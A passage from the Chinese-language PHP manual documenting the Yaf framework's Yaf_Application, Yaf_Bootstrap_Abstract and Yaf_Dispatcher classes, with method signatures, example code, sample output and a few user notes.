;this one should alway be defined, and have no default value
application.directory=APPLICATION_PATH

;following configs have default value, you may no need to define them
application.library = APPLICATION_PATH . "/library"
application.dispatcher.throwException=1
application.dispatcher.catchException=1

application.baseUri=""

;the php script ext name
ap.ext=php

;the view template ext name
ap.view.ext=phtml

ap.dispatcher.defaultModule=Index
ap.dispatcher.defaultController=Index
ap.dispatcher.defaultAction=index

;defined modules
ap.modules=Index

envrion

Which section will be loaded as the final config

返回值

示例

Example #2 Yaf_Application::__construct() 示例

<?php
defined('APPLICATION_PATH') // APPLICATION_PATH will be used in the ini config file
|| define('APPLICATION_PATH', __DIR__));

$application = new Yaf_Application(APPLICATION_PATH.'/conf/application.ini');
$application->bootstrap()->run();
?>

以上示例的输出类似于：

Example #3 Yaf_Application::__construct() 示例

<?php
$config = array(
    "application" => array(
        "directory" => realpath(dirname(__FILE__)) . "/application",
    ),
);

/** Yaf_Application */
$application = new Yaf_Application($config);
$application->bootstrap()->run();
?>

以上示例的输出类似于：

参见

  • Yaf_Config_Ini
    •

User Contributed Notes

There are no user contributed notes for this page.


__destruct 函数

  • ? Yaf_Application::__construct
  • Yaf_Application::environ ?
  • PHP Manual
  • Yaf_Application
  • __destruct 函数

Yaf_Application::__destruct

(Yaf >=1.0.0)

Yaf_Application::__destruct — __destruct 函数

说明

public Yaf_Application::__destruct()

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


检索环境名

  • ? Yaf_Application::__destruct
  • Yaf_Application::execute ?
  • PHP Manual
  • Yaf_Application
  • 检索环境名

Yaf_Application::environ

(Yaf >=1.0.0)

Yaf_Application::environ — 检索环境名

说明

public Yaf_Application::environ(): void

返回在 yaf.environ 定义的环境值，默认值为"product"。

参数

此函数没有参数。

返回值

示例

Example #1 Yaf_Application::environ() 示例

<?php
$config = array(
"application" => array(
"directory" => realpath(dirname(__FILE__)) . "/application",
),
);

/** Yaf_Application */
$application = new Yaf_Application($config);
print_r($application->environ());
?>

以上示例的输出类似于：

product

User Contributed Notes

There are no user contributed notes for this page.


运行回调

  • ? Yaf_Application::environ
  • Yaf_Application::getAppDirectory ?
  • PHP Manual
  • Yaf_Application
  • 运行回调

Yaf_Application::execute

(Yaf >=1.0.0)

Yaf_Application::execute — 运行回调

说明

public Yaf_Application::execute(callable $entry, string ...$args): void

这个方法通常用于在 cron 任务中运行 Yaf_Application。 在 cron 任务中也可以使用 autoloader 和 Bootstrap 机制。

参数

entry

一个有效的回调函数

...

要传递给函数的参数

返回值

示例

Example #1 Yaf_Application::execute() 示例

<?php
function main($argc, $argv) {
}

$config = array(
"application" => array(
"directory" => realpath(dirname(__FILE__)) . "/application",
),
);

/** Yaf_Application */
$application = new Yaf_Application($config);
$application->execute("main", $argc, $argv);
?>

以上示例的输出类似于：

User Contributed Notes

There are no user contributed notes for this page.


获取应用的目录

  • ? Yaf_Application::execute
  • Yaf_Application::getConfig ?
  • PHP Manual
  • Yaf_Application
  • 获取应用的目录

Yaf_Application::getAppDirectory

(Yaf >=2.1.4)

Yaf_Application::getAppDirectory — 获取应用的目录

说明

public Yaf_Application::getAppDirectory(): Yaf_Application

参数

directory

返回值

User Contributed Notes

There are no user contributed notes for this page.


获取 Yaf_Config_Abstract 的实例

  • ? Yaf_Application::getAppDirectory
  • Yaf_Application::getDispatcher ?
  • PHP Manual
  • Yaf_Application
  • 获取 Yaf_Config_Abstract 的实例

Yaf_Application::getConfig

(Yaf >=1.0.0)

Yaf_Application::getConfig — 获取 Yaf_Config_Abstract 的实例

说明

public Yaf_Application::getConfig(): Yaf_Config_Abstract

参数

此函数没有参数。

返回值

Yaf_Config_Abstract 的实例

示例

Example #1 Yaf_Application::getConfig() 示例

<?php
$config = array(
"application" => array(
"directory" => realpath(dirname(__FILE__)) . "/application",
),
);

/** Yaf_Application */
$application = new Yaf_Application($config);
print_r($application->getConfig());
?>

以上示例的输出类似于：

Yaf_Config_Simple Object
(
    [_config:protected] => Array
        (
            [application] => Array
                (
                    [directory] => /home/laruence/local/www/htdocs/application
                )

        )

    [_readonly:protected] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


获取 Yaf_Dispatcher 的实例

  • ? Yaf_Application::getConfig
  • Yaf_Application::getLastErrorMsg ?
  • PHP Manual
  • Yaf_Application
  • 获取 Yaf_Dispatcher 的实例

Yaf_Application::getDispatcher

(Yaf >=1.0.0)

Yaf_Application::getDispatcher — 获取 Yaf_Dispatcher 的实例

说明

public Yaf_Application::getDispatcher(): Yaf_Dispatcher

参数

此函数没有参数。

返回值

示例

Example #1 Yaf_Application::getDispatcher() 示例

<?php
$config = array(
"application" => array(
"directory" => realpath(dirname(__FILE__)) . "/application",
),
);

/** Yaf_Application */
$application = new Yaf_Application($config);
print_r($application->getDispatcher());
?>

以上示例的输出类似于：

Yaf_Dispatcher Object
(
    [_router:protected] => Yaf_Router Object
        (
            [_routes:protected] => Array
                (
                    [_default] => Yaf_Route_Static Object
                        (
                        )

                )

            [_current:protected] =>
        )

    [_view:protected] =>
    [_request:protected] => Yaf_Request_Http Object
        (
            [module] =>
            [controller] =>
            [action] =>
            [method] => Cli
            [params:protected] => Array
                (
                )

            [language:protected] =>
            [_exception:protected] =>
            [_base_uri:protected] =>
            [uri:protected] =>
            [dispatched:protected] =>
            [routed:protected] =>
        )

    [_plugins:protected] => Array
        (
        )

    [_auto_render:protected] => 1
    [_return_response:protected] =>
    [_instantly_flush:protected] =>
    [_default_module:protected] => Index
    [_default_controller:protected] => Index
    [_default_action:protected] => index
    [_response] => Yaf_Response_Cli Object
        (
            [_header:protected] => Array
                (
                )

            [_body:protected] =>
            [_sendheader:protected] =>
        )

)

User Contributed Notes

There are no user contributed notes for this page.


获取最近产生的错误的错误信息

  • ? Yaf_Application::getDispatcher
  • Yaf_Application::getLastErrorNo ?
  • PHP Manual
  • Yaf_Application
  • 获取最近产生的错误的错误信息

Yaf_Application::getLastErrorMsg

(Yaf >=2.1.2)

Yaf_Application::getLastErrorMsg — 获取最近产生的错误的错误信息

说明

public Yaf_Application::getLastErrorMsg(): string

参数

此函数没有参数。

返回值

示例

Example #1 Yaf_Application::getLastErrorMsg() 示例

<?php
function error_handler($errno, $errstr, $errfile, $errline) {
var_dump(Yaf_Application::app()->getLastErrorMsg());
}

$config = array(
"application" => array(
"directory" => "/tmp/notexists",
"dispatcher" => array(
"throwException" => 0, //trigger error instead of throw exception when error occure
),
),
);

$app = new Yaf_Application($config);
$app->getDispatcher()->setErrorHandler("error_handler", E_RECOVERABLE_ERROR);
$app->run();
?>

以上示例的输出类似于：

string(69) "Could not find controller script /tmp/notexists/controllers/Index.php"

User Contributed Notes

There are no user contributed notes for this page.


获取最后产生的错误的错误代码

  • ? Yaf_Application::getLastErrorMsg
  • Yaf_Application::getModules ?
  • PHP Manual
  • Yaf_Application
  • 获取最后产生的错误的错误代码

Yaf_Application::getLastErrorNo

(Yaf >=2.1.2)

Yaf_Application::getLastErrorNo — 获取最后产生的错误的错误代码

说明

public Yaf_Application::getLastErrorNo(): int

参数

此函数没有参数。

返回值

示例

Example #1 Yaf_Application::getLastErrorNo() 示例

<?php
function error_handler($errno, $errstr, $errfile, $errline) {
var_dump(Yaf_Application::app()->getLastErrorNo());
var_dump(Yaf_Application::app()->getLastErrorNo() == YAF_ERR_NOTFOUND_CONTROLLER);
}

$config = array(
"application" => array(
"directory" => "/tmp/notexists",
"dispatcher" => array(
"throwException" => 0, //trigger error instead of throw exception when error occure
),
),
);

$app = new Yaf_Application($config);
$app->getDispatcher()->setErrorHandler("error_handler", E_RECOVERABLE_ERROR);
$app->run();
?>

以上示例的输出类似于：

int(516)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


获取定义的模块名

  • ? Yaf_Application::getLastErrorNo
  • Yaf_Application::run ?
  • PHP Manual
  • Yaf_Application
  • 获取定义的模块名

Yaf_Application::getModules

(Yaf >=1.0.0)

Yaf_Application::getModules — 获取定义的模块名

说明

public Yaf_Application::getModules(): array

获取在配置文件中声明的模块名，如果没有声明，它的默认值将是"Index"。

参数

此函数没有参数。

返回值

示例

Example #1 Yaf_Application::getModules() 示例

<?php
$config = array(
"application" => array(
"directory" => realpath(dirname(__FILE__)) . "/application",
),
);

/** Yaf_Application */
$application = new Yaf_Application($config);
print_r($application->getModules());
?>

以上示例的输出类似于：

Array
(
    [0] => Index
)

User Contributed Notes

There are no user contributed notes for this page.


运行 Yaf_Application

  • ? Yaf_Application::getModules
  • Yaf_Application::setAppDirectory ?
  • PHP Manual
  • Yaf_Application
  • 运行 Yaf_Application

Yaf_Application::run

(Yaf >=1.0.0)

Yaf_Application::run — 运行 Yaf_Application

说明

public Yaf_Application::run(): void

运行一个 Yaf_Application，开始接受并处理请求，分发路由，做出相应的响应。最终将响应返回给客户端。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


改变应用目录

  • ? Yaf_Application::run
  • Yaf_Bootstrap_Abstract ?
  • PHP Manual
  • Yaf_Application
  • 改变应用目录

Yaf_Application::setAppDirectory

(Yaf >=2.1.4)

Yaf_Application::setAppDirectory — 改变应用目录

说明

public Yaf_Application::setAppDirectory(string $directory): Yaf_Application

参数

directory

返回值

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Bootstrap_Abstract 类

(No version information available, might only be in Git)

简介

Bootstrap 是用来在 Application 运行（run）之前做一些初始化工作的机制。

可以通过继承 Yaf_Bootstrap_Abstract 来定义自己的 Bootstrap 类.

在 Bootstrap 类中所有以"_init"开头的公有的方法, 都会被按照定义顺序依次在 Yaf_Application::bootstrap() 被调用的时刻调用.

示例

Example #1 Bootstrap 示例

<?php
/* bootstrap class should be defined under ./application/Bootstrap.php */
class Bootstrap extends Yaf_Bootstrap_Abstract {
public function _initConfig(Yaf_Dispatcher $dispatcher) {
var_dump(__METHOD__);
}
public function _initPlugin(Yaf_Dispatcher $dispatcher) {
var_dump(__METHOD__);
}
}

$config = array(
"application" => array(
"directory" => dirname(__FILE__) . "/application/",
),
);

$app = new Yaf_Application($config);
$app->bootstrap();
?>

以上示例的输出类似于：

string(22) "Bootstrap::_initConfig"
string(22) "Bootstrap::_initPlugin"

类摘要

abstract class Yaf_Bootstrap_Abstract {
/* 属性 */
/* 方法 */
}

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Dispatcher 类

(Yaf >=1.0.0)

简介

Yaf_Dispatcher用于初始化处理请求的运行环境, 它协调路由来的请求, 并分发和执行发现的动作, 然后收集动作产生的响应, 输出响应给请求者, 并在整个过程完成以后返回响应.

Yaf_Dispatcher是单例模式运行的, 也就是说自始至终只生成一个Yaf_Dispatcher实例, 因此, 可以把它看成是在分发过程中生成的对象的注册表, 可以从中获取到分发过程中产生的对象.

类摘要

final class Yaf_Dispatcher {
/* 属性 */
protected $_router;
protected $_view;
protected $_request;
protected $_plugins;
protected static $_instance;
protected $_auto_render;
protected $_return_response;
protected $_instantly_flush;
protected $_default_module;
protected $_default_controller;
protected $_default_action;
/* 方法 */
public __construct()
public autoRender(bool $flag = ?): Yaf_Dispatcher
public catchException(bool $flag = ?): Yaf_Dispatcher
public disableView(): bool
public dispatch(Yaf_Request_Abstract $request): Yaf_Response_Abstract
public enableView(): Yaf_Dispatcher
public flushInstantly(bool $flag = ?): Yaf_Dispatcher
public getApplication(): Yaf_Application
public getDefaultAction(): string
public getDefaultController(): string
public getDefaultModule(): string
public static getInstance(): Yaf_Dispatcher
public getRequest(): Yaf_Request_Abstract
public getRouter(): Yaf_Router
public initView(string $templates_dir, array $options = ?): Yaf_View_Interface
public registerPlugin(Yaf_Plugin_Abstract $plugin): Yaf_Dispatcher
public returnResponse(bool $flag): Yaf_Dispatcher
public setDefaultAction(string $action): Yaf_Dispatcher
public setDefaultController(string $controller): Yaf_Dispatcher
public setDefaultModule(string $module): Yaf_Dispatcher
public setErrorHandler(call $callback, int $error_types): Yaf_Dispatcher
public setRequest(Yaf_Request_Abstract $request): Yaf_Dispatcher
public setView(Yaf_View_Interface $view): Yaf_Dispatcher
public throwException(bool $flag = ?): Yaf_Dispatcher
}

属性

_router

_view

_request

_plugins

_instance

_auto_render

_return_response

_instantly_flush

_default_module

_default_controller

_default_action

Table of Contents

  • Yaf_Dispatcher::autoRender — 开启/关闭自动渲染
  • Yaf_Dispatcher::catchException — 开启/关闭自动异常捕获
  • Yaf_Dispatcher::__construct — Yaf_Dispatcher 构造方法
  • Yaf_Dispatcher::disableView — 关闭视图渲染
  • Yaf_Dispatcher::dispatch — 分发请求
  • Yaf_Dispatcher::enableView — 开启视图渲染
  • Yaf_Dispatcher::flushInstantly — 打开/关闭即时刷新
  • Yaf_Dispatcher::getApplication — 检索应用程序
  • Yaf_Dispatcher::getDefaultAction — Retrive the default action name
  • Yaf_Dispatcher::getDefaultController — Retrive the default controller name
  • Yaf_Dispatcher::getDefaultModule — Retrive the default module name
  • Yaf_Dispatcher::getInstance — 获取当前的Yaf_Dispatcher实例
  • Yaf_Dispatcher::getRequest — 检索请求实例
  • Yaf_Dispatcher::getRouter — 检索路由实例
  • Yaf_Dispatcher::initView — 初始化视图并返回
  • Yaf_Dispatcher::registerPlugin — 注册插件
  • Yaf_Dispatcher::returnResponse — The returnResponse purpose
  • Yaf_Dispatcher::setDefaultAction — 设置默认动作名
  • Yaf_Dispatcher::setDefaultController — 设置默认控制器名
  • Yaf_Dispatcher::setDefaultModule — 设置默认模块名
  • Yaf_Dispatcher::setErrorHandler — 设置错误处理
  • Yaf_Dispatcher::setRequest — The setRequest purpose
  • Yaf_Dispatcher::setView — 设置自定义视图引擎
  • Yaf_Dispatcher::throwException — 开启/关闭异常抛出

User Contributed Notes

There are no user contributed notes for this page.


开启/关闭自动渲染

  • ? Yaf_Dispatcher
  • Yaf_Dispatcher::catchException ?
  • PHP Manual
  • Yaf_Dispatcher
  • 开启/关闭自动渲染

Yaf_Dispatcher::autoRender

(Yaf >=1.0.0)

Yaf_Dispatcher::autoRender — 开启/关闭自动渲染

说明

public Yaf_Dispatcher::autoRender(bool $flag = ?): Yaf_Dispatcher

Yaf_Dispatcher 将会在分发到来的请求后自动渲染，可以带 flag true 调用此方法来阻止渲染。

Note:

也可以在操作中简单的返回 false 来阻止动作的自动渲染

参数

flag

bool

Note:

自 2.2.0 起。如果没有指定此参数，则会返回当前状态

返回值

示例

Example #1 Yaf_Dispatcher::autoRender() 示例

<?php
class IndexController extends Yaf_Controller_Abstract {
/* init method will be called as soon as a controller is initialized */
public function init() {
if ($this->getRequest()->isXmlHttpRequest()) {
//do not call render for ajax request
//we will outpu a json string
Yaf_Dispatcher::getInstance()->autoRender(FALSE);
}
}

}
?>

以上示例的输出类似于：

User Contributed Notes

There are no user contributed notes for this page.


开启/关闭自动异常捕获

  • ? Yaf_Dispatcher::autoRender
  • Yaf_Dispatcher::__construct ?
  • PHP Manual
  • Yaf_Dispatcher
  • 开启/关闭自动异常捕获

Yaf_Dispatcher::catchException

(Yaf >=1.0.0)

Yaf_Dispatcher::catchException — 开启/关闭自动异常捕获

说明

public Yaf_Dispatcher::catchException(bool $flag = ?): Yaf_Dispatcher

当 application.dispatcher.throwException 开启的时候（也可以通过调用 Yaf_Dispatcher::throwException(TRUE)() 来开启），Yaf 会在错误发生时抛出 Exception 而不是触发错误。

如果开启了 Yaf_Dispatcher::catchException() （可以通过设置 application.dispatcher.catchException 来开启），如果已经定义，所有未捕获的 Exception 都将被 ErrorController::error 捕获。

参数

flag

bool

返回值

示例

Example #1 Yaf_Dispatcher::catchException() 示例

/* if you defined a ErrorController like following */
<?php
class ErrorController extends Yaf_Controller_Abstract {
/**
* you can also call to Yaf_Request_Abstract::getException to get the
* un-caught exception.
*/
public function errorAction($exception) {
/* error occurs */
switch ($exception->getCode()) {
case YAF_ERR_NOTFOUND_MODULE:
case YAF_ERR_NOTFOUND_CONTROLLER:
case YAF_ERR_NOTFOUND_ACTION:
case YAF_ERR_NOTFOUND_VIEW:
echo 404, ":", $exception->getMessage();
break;
default :
$message = $exception->getMessage();
echo 0, ":", $exception->getMessage();
break;
}
}
}
?>

以上示例的输出类似于：

/* now if some error occur, assuming access a non-exists controller(or you can throw a exception yourself): */
404:Could not find controller script **/application/controllers/No-exists-controller.php

参见

  • Yaf_Dispatcher::throwException() - 开启/关闭异常抛出
  • Yaf_Dispatcher::setErrorHandler() - 设置错误处理

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Dispatcher 构造方法

  • ? Yaf_Dispatcher::catchException
  • Yaf_Dispatcher::disableView ?
  • PHP Manual
  • Yaf_Dispatcher
  • Yaf_Dispatcher 构造方法

Yaf_Dispatcher::__construct

(Yaf >=1.0.0)

Yaf_Dispatcher::__construct — Yaf_Dispatcher 构造方法

说明

public Yaf_Dispatcher::__construct()

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


关闭视图渲染

  • ? Yaf_Dispatcher::__construct
  • Yaf_Dispatcher::dispatch ?
  • PHP Manual
  • Yaf_Dispatcher
  • 关闭视图渲染

Yaf_Dispatcher::disableView

(Yaf >=1.0.0)

Yaf_Dispatcher::disableView — 关闭视图渲染

说明

public Yaf_Dispatcher::disableView(): bool

禁用视图引擎，用于一些需要用户自己输出的应用程序

Note:

也可以在操作中简单的返回 false 来阻止动作的自动渲染

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


分发请求

  • ? Yaf_Dispatcher::disableView
  • Yaf_Dispatcher::enableView ?
  • PHP Manual
  • Yaf_Dispatcher
  • 分发请求

Yaf_Dispatcher::dispatch

(Yaf >=1.0.0)

Yaf_Dispatcher::dispatch — 分发请求

说明

public Yaf_Dispatcher::dispatch(Yaf_Request_Abstract $request): Yaf_Response_Abstract

Yaf_Dispatcher 的这个方法做的工作很繁重.它需要 request 对象。

分发过程有三个不同的事件：

  • 路由
  • 分发
  • 响应
当调用 Yaf_Dispatcher::dispatch() 时，路由只发生一次，使用请求对象中的值。分发发生在循环中；一个请求可能会分发出多个动作，或者 controller 或 plugin 可能重置请求对象来强制分发其它动作（参见 Yaf_Plugin_Abstract）。当所有都执行完毕，Yaf_Dispatcher 返回响应。

参数

request

返回值

User Contributed Notes

There are no user contributed notes for this page.


开启视图渲染

  • ? Yaf_Dispatcher::dispatch
  • Yaf_Dispatcher::flushInstantly ?
  • PHP Manual
  • Yaf_Dispatcher
  • 开启视图渲染

Yaf_Dispatcher::enableView

(Yaf >=1.0.0)

Yaf_Dispatcher::enableView — 开启视图渲染

说明

public Yaf_Dispatcher::enableView(): Yaf_Dispatcher

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


打开/关闭即时刷新

  • ? Yaf_Dispatcher::enableView
  • Yaf_Dispatcher::getApplication ?
  • PHP Manual
  • Yaf_Dispatcher
  • 打开/关闭即时刷新

Yaf_Dispatcher::flushInstantly

(Yaf >=1.0.0)

Yaf_Dispatcher::flushInstantly — 打开/关闭即时刷新

说明

public Yaf_Dispatcher::flushInstantly(bool $flag = ?): Yaf_Dispatcher

参数

flag

bool

Note:

自 2.2.0 起，如果未指定参数，然后返回当前状态

返回值

User Contributed Notes

There are no user contributed notes for this page.


检索应用程序

  • ? Yaf_Dispatcher::flushInstantly
  • Yaf_Dispatcher::getDefaultAction ?
  • PHP Manual
  • Yaf_Dispatcher
  • 检索应用程序

Yaf_Dispatcher::getApplication

(Yaf >=1.0.0)

Yaf_Dispatcher::getApplication — 检索应用程序

说明

public Yaf_Dispatcher::getApplication(): Yaf_Application

检索 Yaf_Application 实例，等同于 Yaf_Application::app()。

参数

此函数没有参数。

返回值

参见

  • Yaf_Application::app() - 检索 Application 实例

User Contributed Notes

There are no user contributed notes for this page.


Retrive the default action name

  • ? Yaf_Dispatcher::getApplication
  • Yaf_Dispatcher::getDefaultController ?
  • PHP Manual
  • Yaf_Dispatcher
  • Retrive the default action name

Yaf_Dispatcher::getDefaultAction

(Yaf >=3.2.0)

Yaf_Dispatcher::getDefaultAction — Retrive the default action name

说明

public Yaf_Dispatcher::getDefaultAction(): string

get the default action name

参数

此函数没有参数。

返回值

string, default action name, default is "index"

User Contributed Notes

There are no user contributed notes for this page.


Retrive the default controller name

  • ? Yaf_Dispatcher::getDefaultAction
  • Yaf_Dispatcher::getDefaultModule ?
  • PHP Manual
  • Yaf_Dispatcher
  • Retrive the default controller name

Yaf_Dispatcher::getDefaultController

(Yaf >=3.2.0)

Yaf_Dispatcher::getDefaultController — Retrive the default controller name

说明

public Yaf_Dispatcher::getDefaultController(): string

get the default controller name

参数

此函数没有参数。

返回值

string, default controller name, default is "Index"

User Contributed Notes

There are no user contributed notes for this page.


Retrive the default module name

  • ? Yaf_Dispatcher::getDefaultController
  • Yaf_Dispatcher::getInstance ?
  • PHP Manual
  • Yaf_Dispatcher
  • Retrive the default module name

Yaf_Dispatcher::getDefaultModule

(Yaf >=3.2.0)

Yaf_Dispatcher::getDefaultModule — Retrive the default module name

说明

public Yaf_Dispatcher::getDefaultModule(): string

get the default module name

参数

此函数没有参数。

返回值

string, module name, default is "Index"

User Contributed Notes

There are no user contributed notes for this page.


获取当前的Yaf_Dispatcher实例

  • ? Yaf_Dispatcher::getDefaultModule
  • Yaf_Dispatcher::getRequest ?
  • PHP Manual
  • Yaf_Dispatcher
  • 获取当前的Yaf_Dispatcher实例

Yaf_Dispatcher::getInstance

(Yaf >=1.0.0)

Yaf_Dispatcher::getInstance — 获取当前的Yaf_Dispatcher实例

说明

public static Yaf_Dispatcher::getInstance(): Yaf_Dispatcher

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


检索请求实例

  • ? Yaf_Dispatcher::getInstance
  • Yaf_Dispatcher::getRouter ?
  • PHP Manual
  • Yaf_Dispatcher
  • 检索请求实例

Yaf_Dispatcher::getRequest

(Yaf >=1.0.0)

Yaf_Dispatcher::getRequest — 检索请求实例

说明

public Yaf_Dispatcher::getRequest(): Yaf_Request_Abstract

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


检索路由实例

  • ? Yaf_Dispatcher::getRequest
  • Yaf_Dispatcher::initView ?
  • PHP Manual
  • Yaf_Dispatcher
  • 检索路由实例

Yaf_Dispatcher::getRouter

(Yaf >=1.0.0)

Yaf_Dispatcher::getRouter — 检索路由实例

说明

public Yaf_Dispatcher::getRouter(): Yaf_Router

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


初始化视图并返回

  • ? Yaf_Dispatcher::getRouter
  • Yaf_Dispatcher::registerPlugin ?
  • PHP Manual
  • Yaf_Dispatcher
  • 初始化视图并返回

Yaf_Dispatcher::initView

(Yaf >=1.0.0)

Yaf_Dispatcher::initView — 初始化视图并返回

说明

public Yaf_Dispatcher::initView(string $templates_dir, array $options = ?): Yaf_View_Interface

参数

templates_dir

options

返回值

User Contributed Notes

There are no user contributed notes for this page.


注册插件

  • ? Yaf_Dispatcher::initView
  • Yaf_Dispatcher::returnResponse ?
  • PHP Manual
  • Yaf_Dispatcher
  • 注册插件

Yaf_Dispatcher::registerPlugin

(Yaf >=1.0.0)

Yaf_Dispatcher::registerPlugin — 注册插件

说明

public Yaf_Dispatcher::registerPlugin(Yaf_Plugin_Abstract $plugin): Yaf_Dispatcher

注册插件（参见 Yaf_Plugin_Abstract）。通常在 Bootstrap 中注册插件（参见 Yaf_Bootstrap_Abstract）。

参数

plugin

返回值

示例

Example #1 Yaf_Dispatcher::registerPlugin() 示例

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract {
public function _initPlugin(Yaf_Dispatcher $dispatcher) {
/**
* Yaf assumes plugin scripts under [application.directory] . "/plugins"
* for this case, it will be:
* [application.directory] . "/plugins/" . "User" . [application.ext]
*/
$user = new UserPlugin();
$dispatcher->registerPlugin($user);
}
}
?>

参见

  • Yaf_Plugin_Abstract
  • Yaf_Bootstrap_Abstract

User Contributed Notes

There are no user contributed notes for this page.


The returnResponse purpose

  • ? Yaf_Dispatcher::registerPlugin
  • Yaf_Dispatcher::setDefaultAction ?
  • PHP Manual
  • Yaf_Dispatcher
  • The returnResponse purpose

Yaf_Dispatcher::returnResponse

(Yaf >=1.0.0)

Yaf_Dispatcher::returnResponse — The returnResponse purpose

说明

public Yaf_Dispatcher::returnResponse(bool $flag): Yaf_Dispatcher

参数

flag

返回值

User Contributed Notes

There are no user contributed notes for this page.


设置默认动作名

  • ? Yaf_Dispatcher::returnResponse
  • Yaf_Dispatcher::setDefaultController ?
  • PHP Manual
  • Yaf_Dispatcher
  • 设置默认动作名

Yaf_Dispatcher::setDefaultAction

(Yaf >=1.0.0)

Yaf_Dispatcher::setDefaultAction — 设置默认动作名

说明

public Yaf_Dispatcher::setDefaultAction(string $action): Yaf_Dispatcher

参数

action

返回值

User Contributed Notes

There are no user contributed notes for this page.


设置默认控制器名

  • ? Yaf_Dispatcher::setDefaultAction
  • Yaf_Dispatcher::setDefaultModule ?
  • PHP Manual
  • Yaf_Dispatcher
  • 设置默认控制器名

Yaf_Dispatcher::setDefaultController

(Yaf >=1.0.0)

Yaf_Dispatcher::setDefaultController — 设置默认控制器名

说明

public Yaf_Dispatcher::setDefaultController(string $controller): Yaf_Dispatcher

参数

controller

返回值

User Contributed Notes

There are no user contributed notes for this page.


设置默认模块名

  • ? Yaf_Dispatcher::setDefaultController
  • Yaf_Dispatcher::setErrorHandler ?
  • PHP Manual
  • Yaf_Dispatcher
  • 设置默认模块名

Yaf_Dispatcher::setDefaultModule

(Yaf >=1.0.0)

Yaf_Dispatcher::setDefaultModule — 设置默认模块名

说明

public Yaf_Dispatcher::setDefaultModule(string $module): Yaf_Dispatcher

参数

module

返回值

User Contributed Notes

451819506 at qq dot com 12-Feb-2018 01:25
function $dispatcher->setDefaultModule("xxx")  is unable to set default module  from index to others
451819506 at qq dot com 12-Feb-2018 01:25
function $dispatcher->setDefaultModule("xxx")  is unable to set default module  from index to others
1048418244 at qq dot com 15-Jul-2013 03:58
Yaf_Dispatcher::setDefaultModule is not effective.

yaf version 2.2.9


设置错误处理

  • ? Yaf_Dispatcher::setDefaultModule
  • Yaf_Dispatcher::setRequest ?
  • PHP Manual
  • Yaf_Dispatcher
  • 设置错误处理

Yaf_Dispatcher::setErrorHandler

(Yaf >=1.0.0)

Yaf_Dispatcher::setErrorHandler — 设置错误处理

说明

public Yaf_Dispatcher::setErrorHandler(call $callback, int $error_types): Yaf_Dispatcher

为 Yaf 设置错误处理程序，当 application.dispatcher.throwException 关闭时，Yaf 将在发生意外错误时触发可捕获错误。

因此，将在错误出现时调用该错误处理程序。

参数

callback

可调用的回调

error_types

返回值

参见

  • Yaf_Dispatcher::throwException() - 开启/关闭异常抛出
  • Yaf_Application::getLastErrorNo() - 获取最后产生的错误的错误代码
  • Yaf_Application::getLastErrorMsg() - 获取最近产生的错误的错误信息

User Contributed Notes

gianjason#gmail.com 09-Jan-2013 07:20
eg:

<?php $dispatcher->setErrorHandler(array(get_class($this),'error_handler')); ?>


The setRequest purpose

  • ? Yaf_Dispatcher::setErrorHandler
  • Yaf_Dispatcher::setView ?
  • PHP Manual
  • Yaf_Dispatcher
  • The setRequest purpose

Yaf_Dispatcher::setRequest

(Yaf >=1.0.0)

Yaf_Dispatcher::setRequest — The setRequest purpose

说明

public Yaf_Dispatcher::setRequest(Yaf_Request_Abstract $request): Yaf_Dispatcher

参数

plugin

返回值

User Contributed Notes

There are no user contributed notes for this page.


设置自定义视图引擎

  • ? Yaf_Dispatcher::setRequest
  • Yaf_Dispatcher::throwException ?
  • PHP Manual
  • Yaf_Dispatcher
  • 设置自定义视图引擎

Yaf_Dispatcher::setView

(Yaf >=1.0.0)

Yaf_Dispatcher::setView — 设置自定义视图引擎

说明

public Yaf_Dispatcher::setView(Yaf_View_Interface $view): Yaf_Dispatcher

如果想使用自定义视图引擎而不是 Yaf_View_Simple，此方法会帮你解决这个问题。

参数

view

Yaf_View_Interface 实例

返回值

示例

Example #1 自定义视图引擎()示例

<?php
require "/path/to/smarty/Smarty.class.php";

class Smarty_Adapter implements Yaf_View_Interface
{
/**
* Smarty object
* @var Smarty
*/
public $_smarty;

/**
* Constructor
*
* @param string $tmplPath
* @param array $extraParams
* @return void
*/
public function __construct($tmplPath = null, $extraParams = array()) {
$this->_smarty = new Smarty;

if (null !== $tmplPath) {
$this->setScriptPath($tmplPath);
}

foreach ($extraParams as $key => $value) {
$this->_smarty->$key = $value;
}
}

/**
* Set the path to the templates
*
* @param string $path The directory to set as the path.
* @return void
*/
public function setScriptPath($path)
{
if (is_readable($path)) {
$this->_smarty->template_dir = $path;
return;
}

throw new Exception('Invalid path provided');
}

/**
* Assign a variable to the template
*
* @param string $key The variable name.
* @param mixed $val The variable value.
* @return void
*/
public function __set($key, $val)
{
$this->_smarty->assign($key, $val);
}

/**
* Allows testing with empty() and isset() to work
*
* @param string $key
* @return boolean
*/
public function __isset($key)
{
return (null !== $this->_smarty->get_template_vars($key));
}

/**
* Allows unset() on object properties to work
*
* @param string $key
* @return void
*/
public function __unset($key)
{
$this->_smarty->clear_assign($key);
}

/**
* Assign variables to the template
*
* Allows setting a specific key to the specified value, OR passing
* an array of key => value pairs to set en masse.
*
* @see __set()
* @param string|array $spec The assignment strategy to use (key or
* array of key => value pairs)
* @param mixed $value (Optional) If assigning a named variable,
* use this as the value.
* @return void
*/
public function assign($spec, $value = null) {
if (is_array($spec)) {
$this->_smarty->assign($spec);
return;
}

$this->_smarty->assign($spec, $value);
}

/**
* Clear all assigned variables
*
* Clears all variables assigned to Yaf_View either via
* {@link assign()} or property overloading
* ({@link __get()}/{@link __set()}).
*
* @return void
*/
public function clearVars() {
$this->_smarty->clear_all_assign();
}

/**
* Processes a template and returns the output.
*
* @param string $name The template to process.
* @return string The output.
*/
public function render($name, $value = NULL) {
